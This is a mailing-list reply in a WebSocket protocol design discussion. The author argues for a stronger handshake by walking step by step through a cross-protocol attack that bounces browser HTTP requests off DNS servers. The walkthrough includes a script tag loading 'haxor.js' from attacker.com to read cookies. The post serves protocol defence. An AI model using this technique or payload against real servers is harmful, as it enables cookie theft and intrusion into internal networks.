Re: [hybi] Handshake was: The WebSocket protocol issues.

[Adam Barth <[e-mail]>]

On Thu, Sep 30, 2010 at 8:27 PM, Greg Wilkins <[e-mail]> wrote:
> On 1 October 2010 12:36, Adam Barth <[e-mail]> wrote:
>> On Thu, Sep 30, 2010 at 6:50 PM, Scott Ferguson <[e-mail]> wrote:
>>> To repeat the key pieces:
>>>  a) c-nonce must not be available to or predictable by the hijacker
>>>  b) "WebSocket" is not possessed by a non-websocket server
>>
>> You're making a bunch of assumptions about how non-websocket servers
>> behave.  In particular, consider a protocol like DNS.  It's entirely
>> possible that a DNS-like protocol could relay the c-nonce to the
>> attacker and give the attacker an opportunity to response with the
>> appropriate hash, which the server would then relay to the client.
>> Attacks of this general class (even against DNS) are known for HTTP.
>
> At this stage in our deliberations we need a little more useful than a
> statement that it is possible that protocol X might be vulnerable.
> That is a truism - who would have thought TLS was vulnerable to a man
> in the middle attack, but it was - so it is true that any protocol
> might be vulnerable.    The question is - how likely is it to be
> vulnerable and are we doing anything to increase the chances of that?

It's important to design security protocols with a margin for error
because attacks only get better over time.  If you design something
that just barely resists exploits, chances are you'll be faced with
live exploits soon.

> Can you explain how a DNS like protocol might be vulnerable to a HTTP
> handshake?   Specially as it runs on port 53 which should not be
> allowed to be the target of any HTTP or WS connections.

That's another false assumption.  For example, in Internet Explorer,
you can direct an HTTP request to port 53.

> Can you cite any references that indicate that if  HTTP requests was
> sent to a DNS server that it could be mistaken for DNS requests?

I've personally done it, although I didn't publish the results.  It's
subtle and it requires some careful analysis, but it's quite possible.
 Here's how the attack works:

1) From http://attacker.com in the user's browser, generating an HTTP
POST request to http://dns.example.com:53/ with a specially crafted
entity-body (more on the entity body later).
2) Normally DNS servers use UDP, but many of them are actually
listening on TCP for various historical reasons (something zone
transfers not fitting in single UDP packet).
3) Over TCP, the first byte of the DNS protocol indicates the frame length.
4) The first byte of an HTTP POST request is an uppercase P, which
indicates a moderate, but not excessively large frame.
5) Most (all?) DNS servers ignore garbage frames and move on to the next frame.
6) Given how things work out, the second frame ends up landing at a
predicable location in the entity-body.
7) At that location in the entity-body, embed a frame for a DNS
request for a TXT record from foo.attacker.com.
8) Reply to the request for the TXT record with the following text:
<script src="http://attacker.com/haxor.js"></script>
9) The DNS server happily forwards the record to the user's browser.
10) The browser misinterprets the response as an HTTP/1.0 response
with no Content-Type header.
11) The browser's content sniffing algorithm kicks in, sees the script
tag, and decides to render the response is text/html.
12) The HTML then loads the script from http://attacker.com, which
reads document.cookie.
13) Because cookies are shared between ports and subdomains, the
attacker learns the user's cookie at example.com.

Is this attack complicated?  Yes.  How many security failures had to
conspire to make this attack possible?  A ton.  Did I actually get
this to work?  Not quite:

Internet Explorer represents some classes of strings internally with
null termination.  At the time, it appeared to be impossible to
generate an HTTP request that contains a null byte.  It also appears
to be impossible to construct a DNS frame that lacks a null byte
(because DNS represents DNS names as a sequence of prefix length
encoded fields with a zero-length field as a terminator).  If I could
insert a single null byte in the HTTP request, I would have been able
to execute the rest of the attack.

What do we learn from this story?  The entire security property hung
on the fact that IE's DOM strips null bytes.  That's what I call
fragile.

> How would a WS HTTP upgrade request be any more likely to be so mistaken?
> How would having spaces in the nonce make this mistake any less likely
> to occur? How would framing the random bytes change this?

Each layer of defense helps.  Even with all the mitigations in the -76
handshake, I don't think it's sufficient.  Now, that's an opinion.  I
don't have a concrete attack to give you.  All I can do is argue from
authority.

By contrast, with the TLS-based handshake, I can give you a security
argument that convinces reasonable people that the handshake resists
cross-protocol attacks.  No argument from authority needed.

> Are there any recorded vulnerabilities of DNS servers echoing back any
> content from a HTTP request?

I didn't record it, but I got it to work in the lab.

> If so, then I would expect these might
> be already have been used as part of some XSS attack.

Indeed.  If not for the null byte issue, this would have been XSS
against practically every domain on the Internet.

> Reflecting user
> data provided data is generally considered a bad thing to do and most
> modern protocols only allow it in very limited situations (hence the
> disabling of TRACE in HTTP).

That's just nonsense.  Almost every protocol can be made to reflect
data provided by a third party.

> Even if this was possible - what is the risk?

Well, once I get past the handshake, WebSockets gives me an almost
unrestricted TCP connection to the target server.  If we weren't
worried about what an attacker could do with unrestricted TCP
connections to a server, we wouldn't need a handshake in the first
place.

> That a WS client will look up DNS names?

If it's the DNS server for your corporate intranet, I can go find a
bunch of interesting targets to attack on your network.  Incidentally,
DNS servers on internal networks are a very wide-spread example of
servers using network connectivity as their sole means of
authorization.

> Or do you have any indication that a WS handshake
> will make a DNS server more vulnerable to cache poisoning or any other
> spoofing attack?

You're overly focused on specifics.  There's a lot more interesting
things you can do with a DNS server than poison it's cache.  There are
a lost more interesting protocols to attack than DNS.  It's a wild
world out there.

> Is there something about a WS handshake that would
> better enable a cache poisoning attack more than XHR? If through some
> miracle the handshake was passed, is there something about the WS
> frames that would allow attacks on DNS servers more than XHR?

Yes.  Once you get past the handshake, you can read back bytes from
the target server, which is difficult to do with XMLHttpRequest.

> There are a few moderate proposals being made to incrementally improve
> the handshake problems that we currently have.  How does you statement
> help us evaluate those proposals?

This line of reasoning is analogous to you saying "let's use my
home-grown block cipher unless you can show me a key-recovery attack."
 Just because I can't demonstrate a key-recovery attack against your
home-grown block cipher doesn't means we should use it instead of AES.
 That you can't break your own handshake isn't surprising either.  As
Bruce Schneier is fond of saying, everyone can design a cryptosystem
that they themselves cannot themselves break.  Thanks, but no thanks.
I'd rather use AES.

Adam